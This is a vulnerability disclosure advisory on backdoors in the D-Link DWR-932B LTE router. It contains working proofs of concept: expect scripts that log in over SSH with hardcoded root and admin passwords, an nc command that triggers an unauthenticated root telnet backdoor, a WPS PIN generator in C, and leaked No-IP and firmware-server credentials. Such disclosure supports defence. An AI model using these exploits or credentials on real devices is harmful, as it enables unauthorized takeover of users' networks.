D-Link DWR-932B Backdoors / Default WPS PIN
Posted on 30 November -0001
<HTML><HEAD><TITLE>D-Link DWR-932B Backdoors / Default WPS PIN</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>## Advisory Information Title: Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...) Advisory URL: https://pierrekim.github.io/advisories/2016-dlink-0x00.txt Blog URL: https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html Date published: 2016-09-28 Vendors contacted: Dlink Release mode: Released CVE: no current CVE DWF: no current DWF ## Product Description Dlink is a multinational networking equipment manufacturing corporation. ## Vulnerabilities Summary The Dlink DWR-932B is a LTE router / access point overall badly designed with a lot of vulnerabilities. It's available in a number of countries to provide Internet with a LTE network. It's a model based on the (in)famous Quanta LTE router models and inherits some vulnerabilities. The tests below are done using the latest available firmware (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc). The summary of the vulnerabilities is: - Backdoor accounts - Backdoor - Default WPS PIN - Weak WPS PIN Generation - with a reverse-engineered algorithm - Leaking No-IP account (?) - Multiple vulnerabilities in the HTTP daemon (qmiweb) - Remote FOTA (Firmware Over The Air) - Bad security practices - Security removed in UPnP A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown. This router is still on sale. Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched and customers with questions should contact their local/regional D-Link support office for the latest information. ## Details - Backdoor accounts By default, telnetd and SSHd are running in the router. Telnetd is running even if there is no documentation about it: user@kali:~$ cat ./etc/init.d/start_appmgr [...] #Sandro { for telnetd debug... start-stop-daemon -S -b -a /bin/logmaster #if [ -e /config2/telnetd ]; then start-stop-daemon -S -b -a /sbin/telnetd #fi #Sandro } [...] 2 backdoor accounts exist and can be used to bypass the HTTP authentication used to manage the router. admin@homerouter:~$ grep admin /etc/passwd admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh admin@homerouter:~$ The password for admin is 'admin' and can be found in the /bin/appmgr program using IDA: About the root user: user@kali:~$ cat ./etc/shadow root:aRDiHrJ0OkehM:16270:0:99999:7::: daemon:*:16270:0:99999:7::: bin:*:16270:0:99999:7::: sys:*:16270:0:99999:7::: sync:*:16270:0:99999:7::: games:*:16270:0:99999:7::: man:*:16270:0:99999:7::: lp:*:16270:0:99999:7::: mail:*:16270:0:99999:7::: news:*:16270:0:99999:7::: uucp:*:16270:0:99999:7::: proxy:*:16270:0:99999:7::: www-data:*:16270:0:99999:7::: backup:*:16270:0:99999:7::: list:*:16270:0:99999:7::: irc:*:16270:0:99999:7::: gnats:*:16270:0:99999:7::: diag:*:16270:0:99999:7::: nobody:*:16270:0:99999:7::: messagebus:!:16270:0:99999:7::: avahi:!:16270:0:99999:7::: admin@kali:~$ Using john to crack the hashes: user@kali:~$ john -show shadow+passwd admin:admin:admin:/:/bin/sh root:1234:16270:0:99999:7::: 2 password hashes cracked, 0 left user@kali:~$ Results: - admin has password admin - root has password 1234 Working exploit for admin: user@kali:~$ cat quanta-ssh-default-password-admin #!/usr/bin/expect -f set timeout 3 spawn ssh admin@192.168.1.1 expect "password: $" send "admin " interact user@kali:~$ ./quanta-ssh-default-password-admin spawn ssh admin@192.168.1.1 admin@192.168.1.1's password: admin@homerouter:~$ id uid=168(admin) gid=168(admin) groups=168(admin) admin@homerouter:~$ Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin. Working exploit for root: user@kali:~$ cat quanta-ssh-default-password-root #!/usr/bin/expect -f set timeout 3 spawn ssh root@192.168.1.1 expect "password: $" send "1234 " interact user@kali:~$ ./quanta-ssh-default-password-root spawn ssh root@192.168.1.1 root@192.168.1.1's password: root@homerouter:~# id uid=168(root) gid=168(root) groups=168(root) root@homerouter:~# Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root. ## Details - Backdoor A backdoor is present inside the `/bin/appmgr` program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running. In `/bin/appmgr`, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands. If a client sends "HELODBG" to the router, the router will execute `/sbin/telnetd -l /bin/sh`, allowing to access without authentication to the router as root. When using IDA, we can see the backdoor is located in the main function (line 369): [please visit the HTML version at https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html to see the image] Working PoC : user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 Hello ^C user@kali:~$ telnet 192.168.1.1 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. OpenEmbedded Linux homerouter.cpe msm 20141210 homerouter.cpe / # id uid=0(root) gid=0(root) / # exit Connection closed by foreign host. user@kali:~$ ## Details - Default WPS PIN Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html). By default, the PIN for the WPS system is ever 28296607. It is, in fact, hardcoded in the /bin/appmgr program: This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router: root@homerouter:~# ps -a|grep hostap 1006 root 0:00 hostapd /var/wifi/ar6k0.conf 1219 root 0:00 grep hostap root@homerouter:~# cat /var/wifi/ar6k0.conf [...] ap_pin=28296607 [...] ## Details - Weak WPS PIN Generation - with a reverse-engineered algorithm An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the 28296607 WPS PIN is provided by default). The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm: user@kali:~$ cat quanta-wps-gen.c #include <stdio.h> #include <stdlib.h> #include <time.h> int main(int argc, char **argv, char **envp) { unsigned int i0, i1; int i2; /* the seed is the current time of the router, which uses NTP... */ srand(time(0)); i0 = rand() % 10000000; if (i0 <= 999999) i0 += 1000000; i1 = 10 * i0; i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 * (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10)) % 10) % 10 + 10 * i0; printf("%d ", i2 ); return (0); } user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c user@kali:~$ ./dlink-wps-gen 97329329 user@kali:~$ You can fetch this program at https://pierrekim.github.io/advisories/quanta-wps-gen.c. Using `srand(time(0))` as a seed is a bad idea because an attacker, knowing the current date as `time(0)` returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them. For the curious reader, the original algorithm in the firmware is: [please visit the HTML version at https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html to see this long content] ## Details - Leaking No-IP account (?): The file `/etc/inadyn-mt.conf` (for a dyndns client) contains an user and a hardcoded password: --log_file /usr/inadyn_srv.log --forced_update_period 6000 --username alex_hung --password 641021 --dyndns_system default@no-ip.com --alias test.no-ip.com ## Details - Multiple vulnerabilities in the HTTP daemon (qmiweb) The HTTP daemon `/bin/qmiweb` is full of vulnerabilities. You can see my precedent researches about a router model using a similar firmware: - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#webinterface-information-leak - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-1 - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-2 - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-browsing-using-the-http-daemon - https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-reading-using-the-http-daemon Adapting the exploits is left as exercises for the reader :) ## Details - Remote FOTA (Firmware Over The Air) The credentials to contact the FOTA server are hardcoded in the `/sbin/fotad` binary, as shown with this IDA screenshot: [please visit the HTML version at https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html to see the image] The function sub_CAAC contains the credentials as base64-strings, used to retrieve the firmware. It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing, the SSL certificate for https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for 1.5 year. [please visit the HTML version at https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html to see the image] The user/password combinations are: qdpc:qdpc qdpe:qdpe qdp:qdp ## Details - Bad security practices: - From `/etc/init.d/start_appmgr`, you will read "strange" shell commands executed as root, like: if [ -f /sbin/netcfg ]; then echo -n "chmod 777 netcfg" chmod 777 /sbin/netcfg fi if [ -f /bin/QNetCfg ]; then echo -n "chmod 777 QNetCfg" chmod 777 /bin/QNetCfg fi I have no idea why the vendor needs to chmod 777 files located in /bin/. ## Details - Security removed in UPnP UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client. Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is volountarily lowered as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN: The `/var/miniupnpd.conf` is generated by the `/bin/appmgr` program: [please visit the HTML version at https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html to see the image] It will generate the /var/miniupnpd.conf file: ext_ifname=rmnet0 listening_ip=bridge0 port=2869 enable_natpmp=yes enable_upnp=yes bitrate_up=14000000 bitrate_down=14000000 secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP. presentation_url=http://192.168.1.1 system_uptime=yes notify_interval=30 upnp_forward_chain=MINIUPNPD upnp_nat_chain=MINIUPNPD There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024: Normal config file: # UPnP permission rules # (allow|deny) (external port range) ip/mask (internal port range) # A port range is <min port>-<max port> or <port> if there is only # one port in the range. # ip/mask format must be nn.nn.nn.nn/nn # it is advised to only allow redirection of port above 1024 # and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535" allow 1024-65535 192.168.0.0/24 1024-65535 deny 0-65535 0.0.0.0/0 0-65535 In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN. For example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers... In fact, this lack of security allows a local user to forward whatever they want from the Internet into the LAN. ## Personal notes As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy (/bin/tinyproxy -c /var/tproxy.conf), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie). - From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these vulnerabilities present in the default firmware, I don't think it is worth making the effort. ## Vendor Response Customers with questions should contact their local/regional D-Link support offices for the latest information. ## Report Timeline * Dec 04, 2015: Vulnerabilities found by Pierre Kim in Quanta routers. * Apr 04, 2016: A public advisory about Quanta routers is sent to security mailing lists. * Jun 09, 2016: Pierre Kim is contacted by Gianni Carabelli about Dlink DWR-932 router's similarities to Quanta routers. * Jun 14, 2016: Pierre Kim thanks Gianni Carabelli and says he will contact Dlink. * Jun 15, 2016: Dlink is contacted about vulnerabilities in the DWR-932 router (=~ 20 vulns). * Jun 16, 2016: Dlink Security Incident Response Team (William Brown) acknowledges the receipt of the report and says they will provide further updates. * Jul 09, 2016: Pierre asks for updates. * Jul 09, 2016: Dlink says they will have correction by July 15. * Jul 19, 2016: Pierre asks for updates. * Aug 19, 2016: Pierre asks for updates. * Sep 12, 2016: Pierre asks for updates and says he will soon release an advisory as 90 days have passed without news. * Sep 12, 2016: cert@cert.org is contacted to get pieces of advice about the disclosure. * Sep 13, 2016: CERT recommends to try to contact D-link and to publish the advisory. * Sep 13, 2016: Dlinks says they don't have a schedule for a firmware release. Customers who have questions should contact their local/regional D-Link support offices for the latest information. support.dlink.com will be updated in the next 24 hours. * Sep 28, 2016: A public advisory is sent to security mailing lists. ## Credits These vulnerabilities were found by Pierre Kim (@PierreKimSec). I would like to thank Gianni Carabelli who found this router and thought it was very similar to the previous backdoored Quanta routers. ## References https://pierrekim.github.io/advisories/2016-dlink-0x00.txt https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ </BODY></HTML>
